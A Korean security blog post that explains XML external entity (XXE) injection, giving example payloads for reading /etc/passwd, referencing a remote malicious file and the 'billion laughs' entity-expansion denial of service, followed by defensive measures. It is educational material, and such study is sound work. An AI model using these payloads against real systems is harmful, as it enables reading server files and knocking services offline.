본문 바로가기
Security/Web Hacking

[Web Hacking] XXE Injection

by inyeong 2024. 4. 30.

1. XXE Injection이란?

XML eXternal Entity Injection ⇒ XML 외부 개체 주입

XML을 통해 데이터를 주고받는 기능에 대해 외부 개체를 주입하는 공격

1.1. XML이란? (eXtensible Markup Language)

  • HTML처럼 태그를 이용하는 마크업 언어
  • HTML과의 가장 큰 차이점은 데이터의 구조를 설명할 수 있다는 점.
  • HTML은 웹 페이지의 구조를 정의하고 내용을 표시하는 것이 목적이라면
    XML은 데이터를 저장하고 전송하기 위해 데이터의 구조를 표현하는 것이 목적.
  • 예를 들어, XML에서는 아래와 같이 사용자가 직접 태그를 정의해서 데이터를 구조화하고 의미를 부여
    <Introduction> 
    <NAME>OOO</NAME> 
    <AGE>22</AGE> 
    </Introduction>​
  • 데이터 무결성 보장, 검색 효율성 등 저장과 전송 과정에 강점이 있어
    주로 브라우저와 서버 사이 데이터 전송에 사용됨. (요즘은 JSON이라는 것 때문에 많이 사용하지는 않는다고 함..)

1.2. 외부 엔터티란?

  • XML 문서 내에서, 외부에 존재하는 정보나 리소스를 참조하는 개체
  • 반복적으로 나오는 문자열이나 특수 문자를 사용하기 위해 미리 정의해놓고 사용하는 개체
  • 예를 들어 “Hello, John How are you?” 라는 문장을 만들 때 Hello와 name을 문서에 직접 입력하는 게 아니라 다른 파일에 저장해두고 그 파일을 참조해서 불러온다고 하면
    => to. from 이라는 요소는 외부 파일에서 참조해 John과 Hello로 쓸 수 있게 되는 것
    <!DOCTYPE note 
    [ <!ENTITY greeting "Hello, "> 
    <!ENTITY name "John"> ]> 
    <note> 
    <to>&name;</to> 
    <from>&greeting;</from> 
    <message>How are you?</message> 
    </note>​
  • 이렇게 외부 파일을 가져오는 과정에서 공격자가 접근할 수 있는 취약점이 발생하고
    그 취약점을 이용한 공격이 바로 XXE Injection

2. 공격 방법 / 공격 종류

  • XML 공격 코드 주입
    ⇒ 데이터 전송이 발생할 때 인젝션을 통해 민감한 파일 노출, 서버 다운 등 상당한 위협
  • 대표적인 공격
    1. LFI 공격 ⇒ 주요 시스템 파일에 접근
      <!ENTITY systemEntity SYSTEM "file:///etc/passwd"> 
      <text>&systemEntity;</text>;​
    2. RFI 공격 ⇒ 악의적인 파일 참조
      <!ENTITY malwareLink SYSTEM "hxxp://www.malware.com/1.txt"> 
      <text>&malwareLink;</text>;
    3. DoS 공격 ⇒ 하나의 엔티티에 다른 엔티티를 계속 참조하여 응용 프로그램에 부하를 일으키는 공격
      <!ENTITY lol "lol"> 
      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
      <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
      <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
      <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 
      <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 
      <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 
      <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 
      <lolz>&lol9;</lolz>​

      최종적으로 참조된 entity 코드는 9의 8제곱 개의 lol 문자열을 처리해야 하므로 약 3GB의 메모리를 차지
      ⇒ DoS 공격 가능

3. 대응 방법

  • DOCTYPE 태그를 사용하지 않도록 설정하거나 DOCTYPE 태그를 포함하는 입력을 차단
  • 외부 ENTITY 사용 비활성화
  • 외부 데이터 참조가 필요할 경우, JSON으로 대체한다.